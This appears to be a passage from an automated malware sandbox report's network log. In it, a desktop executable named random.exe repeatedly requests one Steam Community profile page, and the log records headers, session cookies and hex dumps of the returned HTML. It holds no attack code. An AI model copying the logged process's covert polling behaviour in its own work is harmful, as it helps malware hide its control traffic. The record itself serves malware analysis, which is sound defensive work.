2025-03-19 13:01:19 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49704	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:20 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:21 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:21 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=e8f9f1d4dd2cf715a08d637c; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:21 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:21 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:21 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49705	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:22 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:22 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:22 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=10922277b329486c6e9a3437; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:22 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:22 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:22 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49708	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:23 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:24 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:24 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=f3c4f4e4bb3ed1335e94111a; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:24 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:24 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:24 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49709	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:26 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:26 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:26 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=b805672a1bc46ad3f9ec9118; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:26 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:26 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: k" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2025-03-19 13:01:26 UTC	1932	IN	Data Raw: 73 65 63 74 69 6f 6e 54 65 78 74 22 3e 0a 09 09 09 09 41 6e 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 3a 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 2f 70 3e 0a 09 09 09 3c 68 33 3e 46 61 69 6c 65 64 20 6c 6f 61 64 69 6e 67 20 70 72 6f 66 69 6c 65 20 64 61 74 61 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 68 33 3e 3c 62 72 3e 3c 62 72 3e 0a 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 72 65 74 75 72 6e 4c 69 6e 6b 22 3e 48 65 72 65 27 73 20 61 20 6c 69 6e 6b 20 74 6f 20 74 68 65 20 53 74 65 61 6d 20 43 6f 6d 6d 75 6e 69 74 79 20 3c 61 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 53 74 61 6e 64 61 72 64 22 20 68 72 65 66 3d 22 Data Ascii: sectionText">An error was encountered while processing your request:<br><br></p><h3>Failed loading profile data, please try again later.</h3><br><br><p class="returnLink">Here's a link to the Steam Community <a class="linkStandard" href="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49714	23.197.127.21	443	6452	C:\Users\user\Desktop\random.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:01:27 UTC	94	OUT	GET /profiles/76561199822375128 HTTP/1.1 Connection: Keep-Alive Host: steamcommunity.com
2025-03-19 13:01:28 UTC	1974	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 19 Mar 2025 13:01:28 GMT Content-Length: 26508 Connection: close Set-Cookie: sessionid=04c5e25da7147b3b1c1316ee; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C9d572defde0400a76af5b032f8ebba09; path=/; secure; HttpOnly; SameSite=None
2025-03-19 13:01:28 UTC	14410	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 20 44 65 73 6b 74 6f 70 55 49 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e Data Ascii: <!DOCTYPE html><html class=" responsive DesktopUI" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21">
2025-03-19 13:01:28 UTC	10166	IN	Data Raw: 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 